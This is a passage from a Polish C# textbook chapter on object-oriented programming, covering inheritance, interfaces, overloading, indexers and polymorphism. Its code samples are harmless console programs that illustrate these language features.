wieństwie do konstruktora destruktor może być tylko jeden.

Deklaracja destruktora wygląda następująco:


~Car() //destruktor
{
//jakieś instrukcje sprzątające
}

Destruktory występują tylko w klasach, nie można ich dodać do struktur. Nie mogą być
przeciążane ani dziedziczone. Destruktor nie może być także wywołany, jest uru-
chamiany automatycznie.

1.10.2. Dziedziczenie
Dziedziczenie jest to przejmowanie pól, metod i innych składowych klasy bazowej
oraz dodanie własnych składowych.

Dobrym przykładem może być zwierzę, które będzie prezentowało klasę bazową Animal.
Jednym z rodzajów zwierząt jest pies. Zatem klasa Dog dziedziczy po klasie Animal.

Taka relacja miałaby następujący zapis:


public class Dog : Animal
{
//Składowe klasy Animal są dziedziczone
//tutaj będą nowe składowe klasy Dog
}

Utwórzmy klasę Animal z metodą Eat (jeść):


public class Animal
{
public void Eat(string food)
{
Console.WriteLine("mniam.");
}
}

Teraz utwórzmy klasę Dog dziedziczącą po klasie Animal z metodą Bark (szczekać)
oraz polem Breed (rasa):
public class Dog : Animal
{
public string Breed; //rasa psa
public void Bark()
{
Console.WriteLine("hau! hau!");
}
}

Każde zwierzę musi jeść, aby żyć, dlatego metoda Eat należy do klasy Animal. Jednak
nie każde zwierzę szczeka, dlatego metoda Bark musi należeć do klasy Dog.
Rozdział 1.  Język C# 49

Teraz utwórzmy obiekt klasy Dog, określmy rasę psa i wywołajmy metodę Eat i Bark:
Dog dog1 = new Dog();
dog1.Breed = "Pitbull";
dog1.Eat("kość"); //To jest metoda z klasy bazowej (Animal)!
dog1.Bark();

Po uruchomieniu programu na konsoli powinno się pojawić:


mniam.
hau! hau!

Kod całego przykładu:


using System;

public class Animal


{
public void Eat(string food)
{
Console.WriteLine("mniam.");
}
}

public class Dog : Animal


{
public string Breed;
public void Bark()
{
Console.WriteLine("hau! hau!");
}
}

class Program
{
static void Main()
{
Dog dog1 = new Dog();
dog1.Breed = "Pitbull";
dog1.Eat("kość"); //To jest metoda z klasy bazowej (Animal)!
dog1.Bark();
}
}

1.10.3. Klasy zagnieżdżone


Klasy mogą dziedziczyć, co zostało wcześniej opisane, ale mogą być też zagnieżdżone.
Jak zrozumieć zagnieżdżanie i czym ono się różni od dziedziczenia? Zagnieżdżanie
oznacza, że jedna klasa jest zawarta w drugiej. Na przykład silnik jest częścią samo-
chodu.

Oto prosty przykład:


using System;

public class Car


50 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

{
public void TurnOnLights()
{
Console.WriteLine("Światła włączone.");
}
public class Engine //klasa zagnieżdżona
{
public void StartEngine()
{
Console.WriteLine("Silnik uruchomiony.");
}
}
}

class Program
{
static void Main()
{
Car.Engine engine1 = new Car.Engine(); //obiekt silnika
Car car1 = new Car(); //obiekt samochodu
engine1.StartEngine();
car1.TurnOnLights();

}
}

W powyższym przykładzie mamy klasę samochodu o nazwie Car i klasę silnika o na-
zwie Engine. W klasie Car jest metoda włączająca światła (TurnOnLights), a w klasie
Engine metoda włączająca silnik (StartEngine). Obiekt klasy zagnieżdżonej tworzymy,
podając nazwę klasy bazowej i po kropce nazwę klasy zagnieżdżonej. Po uruchomieniu
powyższego przykładu powinieneś zobaczyć na ekranie tekst:
Silnik uruchomiony.
Światła włączone.

1.10.4. Modyfikatory dostępu


Wszystkie typy i ich składowe mają jakiś poziom dostępności określający, kiedy mogą
być używane.
Modyfikatory dostępu są następujące:
 public ― typ lub składowa są dostępne dla każdego kodu w jednostce
lub innych jednostkach;
 private ― typ lub składowa są dostępne tylko dla kodu tej samej klasy
lub struktury;
 protected ― typ lub składowa są dostępne dla kodu tej samej klasy
lub struktury oraz dla klasy, która dziedziczy po niej;
 internal ― typ lub składowa są dostępne dla każdego kodu w jednostce,
ale nie w innych jednostkach.
 protected internal ― typ lub składowa są dostępne dla każdego kodu
w jednostce, dla klas potomnych, ale nie w innych jednostkach.
Rozdział 1.  Język C# 51

Jeżeli nie podamy modyfikatora dostępu, zostanie to potraktowane przez kompila-


tor tak, jakby był tam modyfikator private.

Słowo kluczowe readonly


Jest to modyfikator, którego można użyć dla pól. Gdy deklaracja pola zawiera to słowo
kluczowe, to przypisać wartość temu polu można tylko podczas deklaracji lub
w konstruktorze:
public class Age
{
readonly int _year;
Age(int year)
{
_year = year; //OK
}
void ChangeYear()
{
//_year = 1988; //błąd kompilacji
}
}

Pola powinny być prywatne


Jest taka zasada w programowaniu obiektowym, że pola klasy powinny być prywatne,
a do ich zmian powinny być utworzone odpowiednie metody. Takie działanie nazywamy
hermetyzacją lub enkapsulacją.

Na przykład:
using System;

public class Point


{
private int X;
private int Y;

public void SetXY(int _X, int _Y)


{
X = _X;
Y = _Y;
}
public void GetXY()
{
Console.WriteLine("X = {0}, Y = {1}", X, Y);
}
}

class Program
{
static void Main()
{
Point point1 = new Point();
point1.SetXY(2, 4);
52 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

point1.GetXY();

}
}

Mamy klasę reprezentującą punkt. Ma ona pola X i Y, które są prywatne, dlatego utwo-
rzyliśmy metodę SetXY, która ustawia podane wartości współprzędnych w odniesieniu
do obiektu klasy Point.

1.10.5. Wczesne i późne wiązanie


Wczesne wiązanie występuje w sytuacji, gdy kompilator wie, jakiego rodzaju jest
obiekt i jakie metody i właściwości zawiera. Gdy zadeklarujesz obiekt i postawisz kropkę
po jego nazwie, to technologia Intellisense wyświetli metody i właściwości tego
obiektu.

Przykładem dla wczesnego wiązania może być:


ComboBox cboItems;
ListBox lstItems;

Jeżeli chodzi o późne wiązanie, to jest ono używane, gdy deklarujesz obiekt, a dopiero
później musisz pobrać typ obiektu lub metody, jakie on zawiera. Wszystko będzie
wiadome w czasie wykonywania.

Na przykład:
Object objItems;
objItems = CreateObject("nazwa biblioteki DLL lub jednostki assembly");

W powyższym przykładzie typ objItems nie jest znany w czasie kompilacji.

Wczesne wiązanie vs późne wiązanie


 Aplikacja będzie działać szybciej we wczesnym wiązaniu, dopóki nie użyjemy
opakowywania zmiennych.
 Łatwiej pisać kod we wczesnym wiązaniu, gdyż pomaga nam Intellisense.
 Używając wczesnego wiązania, popełnia się mniej błędów.
 Późne wiązanie obsługuje różne rodzaje wersji, gdyż wszystko jest wiadome
w czasie wykonywania.
 Łatwiej rozszerzać i rozwijać kod, który jest oparty na późnym wiązaniu.

Zarówno wczesne wiązanie, jak i późne wiązanie mają swoje wady i zalety, dlatego
wybór zależy tylko od Ciebie, programisto.
Rozdział 1.  Język C# 53

Opakowywanie zmiennych
Jest to konwersja typów prostych na typ object. Gdy typ prosty jest opakowywany i staje
się obiektem, to jego wartość jest przechowywana na zarządzanej stercie.

W poniższym przykładzie zmienna i jest opakowywana i przypisywana do obiektu o:


int i = 123;
object o = i; //opakowywanie

Rozpakowywanie działa odwrotnie:


o = 123;
i = (int) o; //wypakowywanie

Po co to wszystko? Dzięki temu każdy typ może być obiektem w języku C#.

1.11. Przeciążanie metod


Metody przeciążane to takie, które mają taką samą nazwę, ale różnią się typem lub
ilością parametrów. Sygnatura to nazwa metody i lista jej wszystkich parametrów.
Metody przeciążane muszą zatem mieć różne sygnatury. Spójrz na poniższą klasę
z metodami przeciążanymi:
using System;

public class A
{
public void Method1(int A)
{
Console.WriteLine("A = {0}", A);
}
public void Method1(int A, int B)
{
Console.WriteLine("A = {0}, B = {1}", A, B);
}
public void Method1(double A)
{
Console.WriteLine("A = {0}", A);
}
}

class Program
{
static void Main()
{
A a = new A();
a.Method1(2); //wywołanie metody Method1(int A)
a.Method1(3, 4); //wywołanie metody Method1(int A, int B)
a.Method1(5.2); //wywołanie metody Method1(double A)
}
}
54 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Wyjście programu:
A = 2
A = 3, B = 4
A = 5.2

Przeciążać możemy też konstruktory; robi się to analogicznie.

Poniżej lista przykładowych metod z ich sygnaturami w komentarzach obok:


void F(); //F()
void F(int x); //F(int)
void F(ref int x); //F(ref int)
void F(int x, int y); //F(int, int)
int F(string s); //F(string)
int F(int x); //F(int) błąd!
void F(string[] a); //F(string[])
void F(params string[] a); //F(string[]) błąd!

1.12. Przeciążanie operatorów


W języku C# można w przypadku typów zdefiniowanych przez programistę przecią-
żyć operatory, definiując statyczne funkcje przy użyciu słowa kluczowego operator.
Poniżej znajduje się przykład prostej klasy reprezentującej ułamki. W tej klasie będą
przeciążone: operator dodawania, mnożenia oraz operator konwersji ułamka zwykłego
na typ double.
using System;

class Fraction
{
int num, den; //num - licznik, den - mianownik
public Fraction(int num, int den)
{
this.num = num;
this.den = den;
}

//przeciążony operator +
public static Fraction operator +(Fraction a, Fraction b)
{
return new Fraction(a.num * b.den + b.num * a.den,
a.den * b.den);
}

//przeciążony operator *
public static Fraction operator *(Fraction a, Fraction b)
{
return new Fraction(a.num * b.num, a.den * b.den);
}

//zdefiniowana przez programistę konwersja


public static implicit operator double(Fraction f)
Rozdział 1.  Język C# 55

{
return (double)f.num / f.den;
}
}
class Program
{
static void Main()
{
Fraction a = new Fraction(1, 2);
Fraction b = new Fraction(3, 7);
Fraction c = new Fraction(2, 3);
Console.WriteLine((double)a);
Console.WriteLine((double)(a * b + c));
}
}

Wyjście programu:
0.5
0.880952380952381

Nie wszystkie operatory mogą być przeciążone ― niektóre mają ograniczenia, co zo-
stało opisane w tabeli 1.5.

Tabela 1.5. Lista operatorów i informacja, czy mogą być przeciążone


Operatory Przeciążanie
+, -, !, ~, ++, --, true, false Te operatory jednoargumentowe mogą być przeciążone.
+, -, *, /, %, &, |, ^, <<, >> Te operatory dwuargumentowe mogą być przeciążone.
==, !=, <, >, <=, >= Te operatory porównania mogą być przeciążone, ale muszą być
przeciążane parami, czyli jeżeli przeciążymy ==, to musimy też
przeciążyć !=.
&&, || Te operatory nie mogą być przeciążone, ale są wykonywane
przez & i |, które mogą być przeciążone.
[] Ten operator nie może być przeciążony.
(T)x Ten operator konwersji nie może być przeciążony, ale można
zdefiniować nowe operatory konwersji.
+=, -=, *=, /=, %=, &=, |=, ^=, <<=, Te operatory nie mogą być przeciążone, ale na przykład
>>= operator += jest wykonywany przez +, który może być
przeciążony.
=, ., ?:, ??, ->, =>, f(x), as, Te operatory nie mogą być przeciążone.
checked, unchecked, default,
delegate, is, new, sizeof, typeof

1.12.1. Słowa kluczowe implicit i explicit


Słowo kluczowe implicit pojawiło się w przykładzie o przeciążaniu operatorów. Używa
się go przy przeciążaniu operatora konwersji z typu zdefiniowanego przez programistę
na inny typ, jeżeli jest gwarantowane, że żadne dane nie zostaną utracone przy kon-
wersji.
56 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Poniżej przedstawiona jest przykładowa klasa reprezentująca liczbę; są w niej prze-


ciążone dwa operatory konwersji.
using System;

class Digit
{
public Digit(double d) { val = d; }
public double val;

//zdefiniowana przez programistę konwersja z Digit na double


public static implicit operator double(Digit d)
{
return d.val;
}
//zdefiniowana przez programistę konwersja z double na Digit
public static implicit operator Digit(double d)
{
return new Digit(d);
}
}

class Program
{
static void Main()
{
Digit dig = new Digit(7);
//wywołanie operatora konwersji z Digit na double
double num = dig;
//wywołanie operatora konwersji z double na Digit
Digit dig2 = 12;
Console.WriteLine("num = {0} dig2 = {1}", num, dig2.val);
}
}

Natomiast słowo kluczowe explicit jest używane przy konwersji z jednego typu
zdefiniowanego przez programistę na inny typ zdefiniowany przez programistę. Kon-
wersja taka musi być wywoływana razem z rzutowaniem.

Oto przykład przeciążenia operatora konwersji miary w jednostkach Fahrenheit na


Celsius:
public static explicit operator Celsius(Fahrenheit fahr)
{
return new Celsius((5.0f / 9.0f) * (fahr.degrees - 32));
}

Przykładowe wywołanie:
Fahrenheit fahr = new Fahrenheit(100.0f);
Console.Write("{0} Fahrenheit", fahr.Degrees);
Celsius c = (Celsius)fahr;
Rozdział 1.  Język C# 57

1.13. Składowe statyczne


Składowe statyczne to takie, które istnieją nawet, gdy nie istnieje żaden obiekt danej
klasy. Wcześniej spotkaliśmy się ze statyczną metodą Main ― jest to główna metoda
programu, która wykonuje się przed tworzeniem jakichkolwiek obiektów, dlatego musi
być ona statyczna.

Metody statyczne deklarujemy według szablonu:


modyfikator_dostępu static typ_zwracany nazwa_metody(lista_parametrów)
{
wnętrze metody
}

Natomiast pola statyczne:


modyfikator_dostępu static typ_pola nazwa_pola;

Spójrz na poniższy przykład:


using System;

class A
{
public static int val = 0; //statyczne pole
public static void f() //statyczna metoda
{
Console.WriteLine("Statyczna metoda f() z klasy A");
}
}

class Program
{
static void Main()
{
A.val = 64;
Console.WriteLine("A.val = {0}", A.val);
A.f();
}
}

Widać w tym przykładzie, że do pól i metod statycznych odwołujemy się, podając na-
zwę klasy i po kropce nazwę pola lub metody. Nie tworzymy żadnego obiektu.

1.14. Przestrzenie nazw


Przestrzeń nazw służy do łączenia różnych typów w logiczne grupy. Mogłeś o tym nie
wiedzieć, ale w poprzednich rozdziałach tej książki korzystaliśmy już z przestrzeni
nazw, między innymi z głównej przestrzeni nazw, jaką jest System.

Jeżeli chcesz odwołać się do typu w określonej przestrzeni nazw, należy wpisać prze-
strzeń nazw, po kropce podrzędne przestrzenie nazw, a na końcu nazwę typu.
58 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Wywołanie metody WriteLine z klasy Console, która znajduje się w przestrzeni nazw
System, wygląda następująco:
class Program
{
static void Main()
{
System.Console.WriteLine("Metoda WriteLine z klasy Console z przestrzeni
nazw System");
}
}

Aby skrócić zapis, można użyć słowa kluczowego using; wtedy pomijamy przestrzeń
nazw i od razu odwołujemy się do typu w tej przestrzeni:
using System; //użyj przestrzeni nazw System

class Program
{
static void Main()
{
Console.WriteLine("Metoda WriteLine z klasy Console z przestrzeni nazw
System");
}
}

Można także tworzyć własne przestrzenie nazw; robi się to według schematu:
namespace nazwa_przestrzeni
{
//typy zawarte w przestrzeni nazw
}

Oto przykładowa przestrzeń nazw Animals z klasą Dog oraz Wolf:


using System;

namespace Animals //przestrzeń nazw Zwierzęta


{
class Dog //klasa Pies
{
public void Bark() //metoda Szczekać
{
Console.WriteLine("Pies szczeka.");
}
}
class Wolf //klasa Wilk
{
public void Howl() //metoda Wyć
{
Console.WriteLine("Wilk wyje.");
}
}

}
class Program
{
static void Main()
Rozdział 1.  Język C# 59

{
Animals.Dog dog1 = new Animals.Dog();
Animals.Wolf wolf1 = new Animals.Wolf();
dog1.Bark(); //Pies szczeka
wolf1.Howl(); //Wilk wyje
}
}

Jak wcześniej wspomniano, można użyć słowa kluczowego using i wtedy pomijać
przestrzeń nazw w odwoływaniu się do typów w tej przestrzeni:
using System;
using Animals; //Użyj przestrzeni nazw Zwierzęta
namespace Animals //przestrzeń nazw Zwierzęta
{
class Dog //klasa Pies
{
public void Bark() //metoda Szczekać
{
Console.WriteLine("Pies szczeka.");
}
}
class Wolf //klasa Wilk
{
public void Howl() //metoda Wyć
{
Console.WriteLine("Wilk wyje.");
}
}
}
class Program
{
static void Main()
{
Dog dog1 = new Dog(); //Nie musimy podawać przestrzeni nazw
Wolf wolf1 = new Wolf(); //przy odwoływaniu się do jej typów
dog1.Bark(); //Pies szczeka
wolf1.Howl(); //Wilk wyje
}
}

Jeżeli daną przestrzeń nazw chcemy nazwać tak, jak nam jest wygodnie, możemy
utworzyć alias. Robi się to według schematu:
using Sys = System; //Utworzenie skrótu Sys do nazwy System
class Program
{
static void Main()
{
Sys.Console.WriteLine("Witaj."); //Zamiast System możemy napisać Sys
}
}

Wtedy możemy używać zarówno aliasu (Sys), jak i pełnej nazwy przestrzeni (System).
60 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

1.15. Właściwości,
akcesor get i mutator set
Właściwość to składowa, która dostarcza elastyczny mechanizm do odczytu, zapisu
czy obliczenia wartości prywatnego pola. Z właściwościami wiąże się też pojęcie ak-
cesorów, czyli specjalnych metod. Istnieją dwa akcesory: get i set. Akcesor get służy
do kontroli zwracanej wartości. Natomiast akcesor set służy do kontroli przypisywanej
wartości. Zawiera on także (akcesor set) specjalne słowo o nazwie value, które definiuje
wartość przypisywaną.

W poniższym przykładzie klasa TimePeriod przechowuje czas wyrażony w sekundach,


ale właściwość o nazwie Hours pozwala określić czas w godzinach. Akcesory właściwości
Hours wykonują konwersję pomiędzy godzinami a sekundami.
class TimePeriod
{
private double seconds; //prywatne pole seconds

public double Hours //publiczna właściwość Hours


{
get { return seconds / 3600; }
set { seconds = value * 3600; }
}
}

class Program
{
static void Main()
{
TimePeriod t = new TimePeriod();

//Przypisanie do właściwości Hours powoduje wywołanie akcesora set


t.Hours = 24;

//Obliczenie właściwości Hours powoduje wywołanie akcesora get


System.Console.WriteLine("Czas w godzinach: " + t.Hours);
}
}
//Wyjście programu: Czas w godzinach: 24

1.16. Interfejsy
Interfejs opisuje grupę funkcjonalności, które mogą należeć do danej klasy czy struktury.
Definiuje się go przy użyciu słowa kluczowego interface, jak w przykładzie poniżej:
interface IEquatable<T>
{
bool Equals(T obj);
}
Rozdział 1.  Język C# 61

Interfejs może zawierać metody, właściwości, zdarzenia i indeksery. Nie może nato-
miast zawierać pól, operatorów, wartości stałych, konstruktorów, destruktorów ani ty-
pów. Nie może także zawierać stałych składowych. Składowe interfejsów są publiczne
i nie mogą zawierać modyfikatorów dostępu.

Gdy klasa lub struktura implementuje interfejs, to implementuje wszystkie zdefinio-


wane w nim składowe.

Przykładowa implementacja wcześniej zdefiniowanego interfejsu IEquatable<T>:


public class Car : IEquatable<Car>
{
public string Model { get; set; }
public int Year { get; set; }

//implementacja interfejsu IEquatable<T>


public bool Equals(Car car)
{
if (this.Model == car.Model &&
this.Year == car.Year)
{
return true;
}
else
return false;
}
}

Dzięki powyższej implementacji ktoś używający naszego kodu może porównać, czy
obiekty klasy Car są takie same, metodą Equals:
Car car1 = new Car();
Car car2 = new Car();

car1.Model = "Subaru Impreza";


car1.Year = 2005;

car2.Model = "Mitsubishi Lancer";


car2.Year = 1997;

if (car1.Equals(car2))
Console.WriteLine("car1 = car2");
else
Console.WriteLine("car1 != car2");

Oczywiście powyższe obiekty nie są takie same, czyli na konsoli zostanie wypisane:
car1 != car2

Podsumujmy:
 Interfejs jest jak abstrakcyjna klasa bazowa: każdy nieabstrakcyjny typ
implementujący interfejs musi zaimplementować wszystkie jego składowe.
 Interfejsy mogą zawierać zdarzenia, indeksery, metody i właściwości.
 Interfejsy nie zawierają implementacji metod.
62 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

 Klasa lub struktura może implementować więcej niż jeden interfejs.


 Interfejs może dziedziczyć z innych interfejsów.

1.16.1. Płytka i głęboka kopia obiektu


Gdy chcemy skopiować wartość jednej zmiennej typu prostego, używamy operatora
przypisania:
var1 = var2;

Jeżeli jednak zmienne są typu referencyjnego, to użycie operatora przypisania spowo-


duje skopiowanie referencji. Wtedy obie zmienne będą wskazywać na tę samą instancję
obiektu w pamięci:
using System;

public class A
{
public int a;
}

class Program
{
static void Main()
{
A a1 = new A();
a1.a = 16;
A a2 = new A();
a2 = a1; //skopiowanie referencji
Console.WriteLine("a2.a = {0}", a2.a); //wypisze a2.a = 16
a1.a = 32;
Console.WriteLine("a2.a = {0}", a2.a); //wypisze a2.a = 32
}
}

Jeżeli chcemy sprawdzić, czy referencje odwołują się do tego samego obiektu, uży-
wamy statycznej metody Object.ReferenceEquals(), która zwraca true, jeżeli tak
jest, a false w przeciwnym wypadku. Oczywiście w powyższym przykładzie metoda
zwróciłaby wartość true.

Płytka kopia
Jeżeli klasa obiektu, który chcemy skopiować, nie ma pól referencyjnych, możemy użyć
płytkiej kopii. Wystarczy, żeby klasa dziedziczyła po interfejsie ICloneable i implemento-
wała metodę Clone(), jak w przykładzie poniżej:
using System;

public class A : ICloneable


{
public int a;
public Object Clone()
{
Rozdział 1.  Język C# 63

return MemberwiseClone();
}
}

class Program
{
static void Main()
{
A a1 = new A();
A a2 = new A();
a1.a = 8;
a2 = (A)a1.Clone();
Console.WriteLine("a2.a = {0}", a2.a); //wypisze a2.a = 8
if (Object.ReferenceEquals(a1, a2))
Console.WriteLine("Referencje a1 i a2 odwołują się do tego samego
obiektu");
else
Console.WriteLine("Referencje a1 i a2 nie odwołują się do tego samego
obiektu"); //To się wykona
}
}

Głęboka kopia
Głębokiej kopii używamy, gdy klasa ma pola referencyjne. Tworzymy wtedy specjalną
metodę kopiującą, jak w poniższym przykładzie:
using System;

class A
{
public int a;
public B objB;
public A()
{
objB = new B();
}
public A DeepCopy()
{
A tempA = new A();
tempA.a = this.a;
tempA.objB.word = this.objB.word;
return tempA;
}
}

class B
{
public string word;
}

class Program
{
static void Main()
{
A a1 = new A();
A a2 = new A();
64 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

a1.a = 7;
a1.objB.word = "przykład";

a2 = a1.DeepCopy(); //głęboka kopia

Console.WriteLine("a2.a = " + a2.a); //wypisze a2.a = 7


Console.WriteLine("a2.objB.word = " + a2.objB.word);
//wypisze a2.objB.word = przykład

if (Object.ReferenceEquals(a1.objB, a2.objB))
Console.WriteLine("Referencje a1.objB i a2.objB odwołują się do tego
samego obiektu");
else
Console.WriteLine("Referencje a1.objB i a2.objB nie odwołują się do
tego samego obiektu"); //To się wykona
}
}

1.17. Indeksery
Indeksery pozwalają na indeksowanie instancji klasy lub struktury tak jak tablic. Są
one podobne do właściwości, z taką różnicą że ich akcesory pobierają parametry.

Załóżmy, że potrzebujesz klasy TempRecord reprezentującej temperaturę w jednost-


kach Farenheit. Temperatura jest zapisywana 10 razy na dobę. Klasa zawiera tablicę
temps liczb zmiennoprzecinkowych typu float. Implementując indekser w tej klasie,
programista może mieć dostęp do temperatur przez float temp = tr[4] zamiast float
temp = tr.temps[4].

Notacja ta nie tylko upraszcza składnię, ale także powoduje, że odwoływanie się jest
bardziej intuicyjne.

Indekser deklarujemy według schematu:


public int this[int index] //deklaracja indeksera
{
//akcesory get i set
}

Poniższy przykład pokazuje, jak zadeklarować prywatne pole tablicy temps oraz indekser.
Indekser pozwala na bezpośredni dostęp do instancji poprzez zapis tempRecord[i].
Alternatywnym rozwiązaniem bez użycia indeksera jest zadeklarowanie tablicy jako
publicznej.

Zauważ, że gdy następuje dostęp do indeksera, wywoływany jest akcesor get. Jeżeli
akcesor get nie będzie istniał, to wystąpi błąd.
class TempRecord
{
//tablica z wartościami temperatur
private float[] temps = new float[10] { 56.2F, 56.7F, 56.5F, 56.9F, 58.8F,
61.3F, 65.9F, 62.1F, 59.2F, 57.5F };
Rozdział 1.  Język C# 65

public int Length


{
get { return temps.Length; }
}
//deklaracja indeksera
//Gdy indeks znajduje się poza przedziałem, rzucony zostanie wyjątek
public float this[int index]
{
get
{
return temps[index];
}

set
{
temps[index] = value;
}
}
}

class MainClass
{
static void Main()
{
TempRecord tempRecord = new TempRecord();
//użycie akcesora set
tempRecord[3] = 58.3F;
tempRecord[5] = 60.1F;

//użycie akcesora get


for (int i = 0; i < 10; i++)
{
System.Console.WriteLine("Element #{0} = {1}", i, tempRecord[i]);
}
}
}

Wyjście programu:
Element #0 = 56.2
Element #1 = 56.7
Element #2 = 56.5
Element #3 = 58.3
Element #4 = 58.8
Element #5 = 60.1
Element #6 = 65.9
Element #7 = 62.1
Element #8 = 59.2
Element #9 = 57.5

Język C# nie ogranicza typu indeksu do liczby całkowitej. Może to być też napis, na
przykład przy implementacji indeksera wyszukującego w kolekcji napisu.

Podsumujmy:
 Indeksery pozwalają na indeksowanie obiektów podobnie jak tablic.
 Akcesor get zwraca wartość. Akcesor set ustawia ją.
66 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

 Słowo kluczowe this jest używane do definiowania indekserów.


 Słowo kluczowe value jest używane do przypisywania wartości przez set.
 Indeksery nie muszą być indeksowane przez wartość typu int.
 Indeksery mogą być przeciążane.
 Mogą mieć więcej niż jeden formalny parametr, na przykład przy dostępie do
tablicy dwuwymiarowej.

1.18. Wielopostaciowość (polimorfizm)


Polimorfizm jest często określany jako trzeci filar programowania obiektowego, po
hermetyzacji i dziedziczeniu. Polimorfizm to greckie słowo, które oznacza „wielo-
kształtny” i ma dwa odrębne aspekty:
 Podczas wykonywania programu obiekty klasy pochodnej mogą być traktowane
jako obiekty klasy bazowej. Gdy to występuje, zadeklarowany typ obiektu nie
jest identyczny z typem w runtime (podczas wykonywania programu).
 Klasy bazowe mogą definiować i implementować metody wirtualne, a klasy
pochodne mogą je przesłaniać, co oznacza dostarczenie własnej definicji
i implementacji. Podczas wykonywania programu kod klienta wywołuje
metodę, a środowisko uruchomieniowe sprawdza typ obiektu czasu wykonania
i wywołuję metodę, która jest przesłoniona. Oznacza to, że gdy ze swojego kodu
źródłowego wywołujesz metodę klasy bazowej, powoduje to wywołanie metody
w wersji klasy pochodnej.

Załóżmy, że potrzebujesz aplikacji rysującej różne kształty na ekranie. W czasie


kompilacji nie wiesz, jakie kształty użytkownik chciałby narysować. Możesz to roz-
wiązać, korzystając z polimorfizmu w dwóch podstawowych krokach:
1. Utworzyć hierarchię klas, w której klasa każdego kształtu pochodzi z klasy
bazowej.
2. Użyć metod wirtualnych do wywołania określonej metody klasy pochodnej
poprzez pojedyncze wywołanie metody klasy bazowej.

Najpierw utwórz klasę bazową o nazwie Shape (kształt) oraz klasy pochodne Rectangle,
Circle i Triangle (prostokąt, koło i trójkąt). Dodaj do klasy Shape metodę wirtualną
Draw (rysuj) i przesłoń ją w każdej klasie pochodnej. Utwórz obiekt List<Shape>, czyli
listę (o typach generycznych dowiesz się więcej z dalszej części książki), i dodaj do niej
prostokąt (Rectangle), trójkąt (Triangle) i koło (Circle). Do odświeżenia powierzchni
do rysowania użyj pętli foreach, iterując po jej elementach i wywołując metodę Draw
na każdym obiekcie typu Shape.
Rozdział 1.  Język C# 67

Oto przykładowy kod:


using System;

public class Shape


{
public int X { get; private set; }
public int Y { get; private set; }
public int Height { get; set; }
public int Width { get; set; }

//metoda wirtualna
public virtual void Draw()
{
Console.WriteLine("Podstawowe zadanie rysowania");
}
}

class Circle : Shape


{
public override void Draw()
{
//kod rysujący koło
Console.WriteLine("Rysuję koło");
base.Draw();
}
}
class Rectangle : Shape
{
public override void Draw()
{
//kod rysujący prostokąt
Console.WriteLine("Rysuję prostokąt");
base.Draw();
}
}
class Triangle : Shape
{
public override void Draw()
{
//kod rysujący trójkąt
Console.WriteLine("Rysuję trójkąt");
base.Draw();
}
}

class Program
{
static void Main()
{
//Prostokąt, trójkąt i koło mogą być użyte wszędzie, gdzie wymagany
//jest typ Shape. Nie jest tu wymagane żadne rzutowanie, ponieważ
//istnieje domyślna konwersja z klasy pochodnej na bazową
System.Collections.Generic.List<Shape> shapes = new
System.Collections.Generic.List<Shape>();
shapes.Add(new Rectangle());
shapes.Add(new Triangle());
shapes.Add(new Circle());
68 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

//Metoda wirtualna Draw jest wywoływana na klasach pochodnych,


//nie na klasie bazowej
foreach (Shape s in shapes)
{
s.Draw();
}
}
}

Wyjście programu:
Rysuję prostokąt
Podstawowe zadanie rysowania
Rysuję trójkąt
Podstawowe zadanie rysowania
Rysuję koło
Podstawowe zadanie rysowania

W języku C# każdy typ jest polimorficzny, gdyż wszystkie typy, włączając w to typy
zdefiniowane przez programistę, dziedziczą z typu Object.

1.18.1. Składowe wirtualne


Gdy klasa pochodna dziedziczy z klasy pochodnej, zyskuje wszystkie metody, pola,
właściwości i zdarzenia klasy bazowej. Projektujący klasę pochodną może zdecydo-
wać, czy:
 przesłonić wirtualne składowe klasy bazowej,
 dziedziczyć metody klasy bazowej bez przesłaniania ich,
 zdefiniować nowe niewirtualne implementacje tych składowych, ukrywające
implementacje klasy bazowej.

Klasa pochodna może przesłonić składową klasy bazowej tylko wtedy, gdy ta skła-
dowa jest zadeklarowana w klasie bazowej jako wirtualna (słowo kluczowe virtual) lub
abstrakcyjna (słowo kluczowe abstract). Pochodna składowa musi używać słowa klu-
czowego override, aby zaznaczyć, że będzie ona brała udział w wywołaniu wirtualnym.

Oto przykład:
public class BaseClass
{
public virtual void DoWork() { }
public virtual int WorkProperty
{
get { return 0; }
}
}
public class DerivedClass : BaseClass
{
public override void DoWork() { }
public override int WorkProperty
{
Rozdział 1.  Język C# 69

get { return 0; }
}
}

Pola nie mogą być wirtualne. Tylko metody, właściwości, zdarzenia i indeksery mogą
być wirtualne. Jeśli klasa pochodna przesłania wirtualną składową, to jest wywoły-
wana, gdy następuje dostęp do instancji tej klasy jako do instancji klasy bazowej.

Oto przykład:
DerivedClass B = new DerivedClass();
B.DoWork(); //Wywołuje nową metodę

BaseClass A = (BaseClass)B;
A.DoWork(); //Również wywołuje nową metodę

Wirtualne metody i właściwości klasy pochodnej pozwalają rozszerzyć klasę bazową


bez użycia implementacji metody z klasy bazowej.

1.18.2. Ukrywanie składowych klasy bazowej


Jeżeli chcesz, aby składowa pochodna miała taką samą nazwę jak składowa klasy ba-
zowej, ale nie chcesz, aby była wywoływana wirtualnie, możesz użyć słowa kluczo-
wego new. Słowo kluczowe new umieszczamy przed typem zwracanym przez składową,
która ma być zastąpiona.

Oto przykład:
public class BaseClass
{
public void DoWork() { WorkField++; }
public int WorkField;
public int WorkProperty
{
get { return 0; }
}
}
public class DerivedClass : BaseClass
{
public new void DoWork() { WorkField++; }
public new int WorkField;
public new int WorkProperty
{
get { return 0; }
}
}

Ukryte składowe klasy bazowej są nadal dostępne poprzez rzutowanie instancji klasy
pochodnej na instancję klasy bazowej, tak jak w przykładzie poniżej:
DerivedClass B = new DerivedClass();
B.DoWork(); //Wywołuje nową metodę
BaseClass A = (BaseClass)B;
A.DoWork(); //Wywołuje starą metodę
70 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

